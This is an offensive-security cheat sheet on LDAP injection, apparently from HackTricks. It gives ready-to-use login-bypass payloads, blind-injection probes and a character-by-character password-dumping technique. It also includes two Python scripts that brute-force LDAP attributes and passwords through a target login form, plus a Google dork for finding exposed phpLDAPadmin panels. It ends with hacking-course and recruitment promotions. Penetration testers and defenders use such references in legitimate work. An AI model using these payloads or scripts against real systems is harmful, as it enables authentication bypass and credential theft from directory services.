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LDAP Injection โ€‹

LDAP Injection โ€‹

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LDAP Injection โ€‹

LDAP โ€‹

If you want to know what is LDAP access the following page:

LDAP Injection is an attack targeting web applications that construct LDAP statements from user input. It occurs when the application fails to properly sanitize input, allowing attackers to manipulate LDAP statements through a local proxy, potentially leading to unauthorized access or data manipulation.

Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr โ€=โ€ [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Absolute TRUE
(|) = Absolute FALSE

For example:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))

You can access to the database, and this can content information of a lot of different types.

OpenLDAP: If 2 filters arrive, only executes the first one.
ADAM or Microsoft LDS: With 2 filters they throw an error.
SunOne Directory Server 5.0: Execute both filters.

It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.

The filter has to start with: & or |
Example: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Then: (&(objectClass=*)(ObjectClass=*)) will be the first filter (the one executed).

Login Bypass โ€‹

LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.

bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) โ€”> As (|) is FALSE then the user is admin and the password check is True.
bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Lists โ€‹

Blind LDAP Injection โ€‹

You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:

bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Dump data โ€‹

You can iterate over the ascii letters, digits and symbols:

bash
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Scripts โ€‹

Discover valid LDAP fields โ€‹

LDAP objects contains by default several attributes that could be used to save information. You can try to brute-force all of them to extract that info. You can find a list of default LDAP attributes here.

python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
    value = ""
    finish = False
    while not finish:
        for char in alphabet: #In each possition test each possible printable char
            query = f"*)({attribute}={value}{char}*"
            data = {'login':query, 'password':'bla'}
            r = requests.post(url, data=data, proxies=proxy)
            sys.stdout.write(f"\r{attribute}: {value}{char}")
            #sleep(0.5) #Avoid brute-force bans
            if "Cannot login" in r.text:
                value += str(char)
                break

            if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
                finish = True
                print()

Special Blind LDAP Injection (without "*") โ€‹

python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
    print("[i] Looking for number " + str(i))
    for char in alphabet:
        r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
        if ("TRUE CONDITION" in r.text):
            flag += char
            print("[+] Flag: " + flag)
            break

Google Dorks โ€‹

bash
intitle:"phpLDAPadmin" inurl:cmd.php

More Payloads โ€‹

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).

โ›“๏ธ External Link
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

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